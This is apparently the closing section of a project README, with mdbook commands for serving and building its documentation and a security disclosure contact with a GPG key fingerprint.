# Serve with live reload
mdbook serve docs/
# Build static HTML
mdbook build docs/
The generated HTML is placed in docs/book/.
Security disclosures
Report vulnerabilities to mail@fabian-affolter.ch.
GPG key fingerprint: 2F6C 930F D3C4 7E38 6AFA 4EB4 E23C D2DD 36A4 397F
See SECURITY.md for the full policy.